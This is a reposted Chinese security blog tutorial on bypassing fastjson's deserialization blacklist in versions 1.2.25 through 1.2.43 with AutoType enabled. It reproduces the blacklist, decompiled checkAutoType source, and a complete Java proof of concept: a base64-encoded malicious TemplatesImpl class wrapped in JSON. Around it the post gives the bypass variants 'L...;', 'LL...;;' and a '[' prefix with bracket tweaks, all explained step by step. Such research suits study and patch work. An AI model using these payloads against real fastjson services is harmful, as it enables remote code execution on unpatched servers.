当前位置:   article > 正文

15-java安全——fastjson反序列化的历史版本绕过(开启AutoType功能)_setautotypesupport

setautotypesupport

目录

1.2.25 - 1.2.41版本绕过

1.2.42版本绕过 

1.2.43版本绕过

1.2.45版本绕过


1.2.25 - 1.2.41版本绕过

1.2.24 版本爆出反序列化漏洞之后,fastjson1.2.25之后的版本使用了checkAutoType函数定义黑白名单的方式来防御反序列化漏洞。

com.alibaba.fastjson.parser.ParserConfig类中有一个String[]类型的denyList数组,denyList中定义了反序列化的黑名单的类包名,1.2.25-1.2.41版本中会对以下包名进行过滤

  1. bsh
  2. com.mchange
  3. com.sun.
  4. java.lang.Thread
  5. java.net.Socket
  6. java.rmi
  7. javax.xml
  8. org.apache.bcel
  9. org.apache.commons.beanutils
  10. org.apache.commons.collections.Transformer
  11. org.apache.commons.collections.functors
  12. org.apache.commons.collections4.comparators
  13. org.apache.commons.fileupload
  14. org.apache.myfaces.context.servlet
  15. org.apache.tomcat
  16. org.apache.wicket.util
  17. org.apache.xalan
  18. org.codehaus.groovy.runtime
  19. org.hibernate
  20. org.jboss
  21. org.mozilla.javascript
  22. org.python.core
  23. org.springframework

在pom.xml文件中导入1.2.41版本的依赖

  1. <dependency>
  2. <groupId>com.alibaba</groupId>
  3. <artifactId>fastjson</artifactId>
  4. <version>1.2.41</version>
  5. </dependency>

这里直接把TemplatesImpl利用链的payload代码拿过来,运行之后会抛出异常,从异常信息来看fastjson在反序列化时checkAutoType函数对json数据的TemplatesImpl类的包名com.sun进行denyList黑名单校验。

相信大家对fastjson解析json的流程都比较熟悉了,我们来分析一下checkAutoType函数做了那些事情:

  1. public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
  2. //类名是否为空
  3. if (typeName == null) {
  4. return null;
  5. //类全路径是否超过128字符
  6. } else if (typeName.length() >= 128) {
  7. throw new JSONException("autoType is not support. " + typeName);
  8. } else {
  9. String className = typeName.replace('$', '.');
  10. Class<?> clazz = null;
  11. int mask;
  12. String accept;
  13. //如果支持AutoType功能会进入这个if判断
  14. if (this.autoTypeSupport || expectClass != null) {
  15. for(mask = 0; mask < this.acceptList.length; ++mask) {
  16. accept = this.acceptList[mask];
  17. if (className.startsWith(accept)) {
  18. clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
  19. if (clazz != null) {
  20. return clazz;
  21. }
  22. }
  23. }
  24. for(mask = 0; mask < this.denyList.length; ++mask) {
  25. accept = this.denyList[mask];
  26. if (className.startsWith(accept) && TypeUtils.getClassFromMapping(typeName) == null) {
  27. throw new JSONException("autoType is not support. " + typeName);
  28. }
  29. }
  30. }
  31. if (clazz == null) {
  32. clazz = TypeUtils.getClassFromMapping(typeName);
  33. }
  34. if (clazz == null) {
  35. clazz = this.deserializers.findClass(typeName);
  36. }
  37. if (clazz != null) {
  38. if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
  39. throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
  40. } else {
  41. return clazz;
  42. }
  43. } else {
  44. //是否不支持AutoType功能
  45. if (!this.autoTypeSupport) {
  46. //先匹配黑名单
  47. for(mask = 0; mask < this.denyList.length; ++mask) {
  48. accept = this.denyList[mask];
  49. //进行黑名单过滤,抛出异常
  50. if (className.startsWith(accept)) {
  51. throw new JSONException("autoType is not support. " + typeName);
  52. }
  53. }
  54. //再从白名单找
  55. for(mask = 0; mask < this.acceptList.length; ++mask) {
  56. accept = this.acceptList[mask];
  57. if (className.startsWith(accept)) {
  58. if (clazz == null) {
  59. clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
  60. }
  61. if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
  62. throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
  63. }
  64. return clazz;
  65. }
  66. }
  67. }
  68. //省略部分代码......
  69. }
  70. }

checkAutoType函数首先会对json数据中type指定的类名的长度进行一些校验,然后接着判断是否开启AutoType功能,如果没有开启AutoType功能则会进行黑白名单的过滤,会先匹配黑名单denyList,如果className中的类包名在黑名单有过滤则会抛出异常。

很明显com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类中的包名com.sun会在黑名单denyList中匹配到,于是抛出异常JSONException

1.2.25版本之后fastjson修复了这个漏洞,并且在默认情况下不开启AutoType功能。也就是说,在绕过的时候必须手动开启AutoType功能,还需要将payload中json数据的type指定的com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类进行了改造,在TemplatesImpl类的前面加了一个L,然后在TemplatesImpl类的后面再加一个;分号

  1. public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException {
  2. //恶意类TempletaPoc转换成字节码,base64编码
  3. String byteCode = "yv66vgAAADEAMgoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MY29tL2Zhc3Rqc29uL3Bvam8vVGVtcGxldGFQb2M7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAClNvdXJjZUZpbGUBABBUZW1wbGV0YVBvYy5qYXZhDAAJAAoHACwMAC0ALgEABGNhbGMMAC8AMAEAE2phdmEvaW8vSU9FeGNlcHRpb24MADEACgEAHWNvbS9mYXN0anNvbi9wb2pvL1RlbXBsZXRhUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAPAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAbAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAfAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABUAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABMACQAWAAwAFAANABUAEQAXAA0AAAAMAAEADQAEAB4AHwAAAAEAIAAAAAIAIQ==";
  4. //构造TemplatesImpl的json数据,并将恶意类注入到json数据中
  5. final String NASTY_CLASS = "Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;";
  6. String payload = "{\"@type\":\"" + NASTY_CLASS +
  7. "\",\"_bytecodes\":[\""+byteCode+"\"]," +
  8. "'_name':'TempletaPoc'," +
  9. "'_tfactory':{}," +
  10. "\"_outputProperties\":{}}\n";
  11. System.out.println(payload);
  12. //开启AutoType功能
  13. ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
  14. Object object = JSON.parseObject(payload,Feature.SupportNonPublicField);
  15. }

这里是使用的1.2.41版本进行测试,不过在1.2.24-1.2.41版本都能测试成功

 在开启AutoType功能的情况下,checkAutoType函数还是会进行黑白名单过滤,由于我们在构造payload的时候在类名前面加了一个字母“L”,因此这里会绕过黑名单的过滤,接着调用TypeUtils.loadClass方法将TemplatesImpl类提取出来,生成类的class对象并返回。

TypeUtils.loadClass方法会判断类的名是否以字母“L”开头,并且以“;”分号结尾,然后调用loadClass方法加载TemplatesImpl类,返回class对象,这样就成功绕过。

1.2.42版本绕过 

引入fastjson1.2.42版本的依赖:

  1. <dependency>
  2. <groupId>com.alibaba</groupId>
  3. <artifactId>fastjson</artifactId>
  4. <version>1.2.42</version>
  5. </dependency>

1.2.42版本对1.2.41版本中的绕过进行了修复,1.2.41版本中poc在1.2.42版本无法利用,可以看到checkAutoType函数在校验时抛出了json解析异常

并且1.2.42版本将黑名单denyList替换成了denyHashCodes,fastjson使用哈希黑名单来代替之前的明文黑名单来防止被绕过,增加了绕过的困难程度。

于是安全研究人员与开发人员开始斗智斗勇,不过有大佬将大部分的哈希黑名单跑出来了,大家可以参考这个链接:https://github.com/LeadroyaL/fastjson-blacklist

1.2.42版本中checkAutoType函数会从className中将com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类提取出来了,把前后的字符“L”和“;”都去掉

然后再进行哈希黑名单过滤,因此这里会抛出JSONException异常

  1. public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
  2. if (typeName == null) {
  3. return null;
  4. } else if (typeName.length() < 128 && typeName.length() >= 3) {
  5. String className = typeName.replace('$', '.');
  6. Class<?> clazz = null;
  7. long BASIC = -3750763034362895579L;
  8. long PRIME = 1099511628211L;
  9. if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
  10. className = className.substring(1, className.length() - 1);
  11. }
  12. //计算className的哈希值
  13. long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
  14. long hash;
  15. int i;
  16. if (this.autoTypeSupport || expectClass != null) {
  17. hash = h3;
  18. for(i = 3; i < className.length(); ++i) {
  19. hash ^= (long)className.charAt(i);
  20. hash *= 1099511628211L;
  21. //进行白名单过滤
  22. if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
  23. clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
  24. if (clazz != null) {
  25. return clazz;
  26. }
  27. }
  28. //进行哈希黑名单过滤,如果匹配到则抛出异常
  29. if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
  30. throw new JSONException("autoType is not support. " + typeName);
  31. }
  32. }
  33. }
  34. //省略部分代码......
  35. } else {
  36. throw new JSONException("autoType is not support. " + typeName);
  37. }
  38. }

但是checkAutoType方法只对className中的TemplatesImpl类进行了一次提取,因此我们可以使用双写法进行绕过

LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;

 为什么使用这种方法就可以绕过哈希黑名单的过滤,原因在于checkAutoType方法只对className中的进行一次提取,最终变成了这样:Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; ,从而绕过哈希黑名单的过滤

TypeUtils类的loadClass方法内部每次调用会进行判断className是否有“L”和“;”字符串,如果有会调用substring方法去掉字符,并再次调用loadClass方法,经过多次调用最终会将LLcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;;中的前后字符“L”和“;”全部都去掉。

1.2.42版本成功绕过

1.2.43版本绕过

引入1.2.43版本的依赖:

  1. <dependency>
  2. <groupId>com.alibaba</groupId>
  3. <artifactId>fastjson</artifactId>
  4. <version>1.2.43</version>
  5. </dependency>

1.2.43版本对1.2.42版本的绕过进行了修复,根据checkAutoType函数抛出的异常信息,我们来分析一下1.2.43版本对checkAutoType函数进行了哪些修复措施。

checkAutoType函数首先判断了className中的类是否以字符“L”开头,以字符“;”结尾,如果满足条件,继续判断是否以字符“LL”开头,如果满足条件则抛出异常,也就是说1.2.42版本的payload会被过滤掉。

由于1.2.42版本的payload已无法利用,因此我们需要另寻突破口,而TypeUtils类的loadClass方法就是我们要寻找的突破口。不知道大家是否还有印象没,在1.2.42版本中loadClass方法会对className进行校验

loadClass方法首先会对className进行判断是否以“[”字符开头,如果满足条件就调用继续调用loadClass方法,传入两个参数,一个是className指定的类全路径(className会调用substring方法把开头的“[”字符去掉),另一个是类加载器classLoader。

那么可以对payload进行改造,在TemplatesImpl类前面加一个“[”字符,这样就可以绕过checkAutoType函数的过滤,如下所示:

[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

再次运行程序还是会报错,根据抛出的异常来看,是在调用DefaultJSONParser类的parseArray方法时抛出的异常

 但是DefaultJSONParser类的parseArray方法是在checkAutoType函数之后调用的,可以肯定的是checkAutoType函数被绕过了,那么到底是哪里出错了?

我们来分析一下DefaultJSONParser类的parseArray方法,发现是parseArray方法的if语句会判断token的值,如果token的值不是14就抛出的异常,这里可以看到解析出来的token值为16,那么token的值从何而来?

通过对token进行回溯分析,发现调用完checkAutoType函数之后,接着会调用nextToken方法设置token

nextToken方法在case 16会判断ch的值,然后根据ch的值设置token,在调试分析中ch的值是json数据中第一个逗号出现的位置(固定从这个位置取值),我们需要把token的值设置为14来绕过DefaultJSONParser类的parseArray方法。

既然ch取值的位置是固定的,并且还不能为以上的字符,根据之前的异常信息来看,71索引的位置正好是json中第一个逗号出现的位置,那么我们可以在逗号前的位置加一个“[”符号,如下所示

再次运行程序,这次会调用无参的nextToken方法把token的值设置为14,绕过DefaultJSONParser类的parseArray方法

 虽然绕过了DefaultJSONParser类的parseArray方法,但是依然会抛出异常报错,从抛出的异常信息来看,提示在72索引位置缺少一个“{”字符,不同于之前的异常,这次是JavaBeanDeserializer类的deserialze方法抛出的异常

再次尝试再72索引位置加一个“{”字符,发现可以利用成功。

JavaBeanDeserializer类的deserialze方法过于复杂,具体是怎么绕过的,这里就不再往下分析(其实是我太菜了) 

1.2.45版本绕过

正在更新ing

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/953865
推荐阅读
相关标签
  

闽ICP备14008679号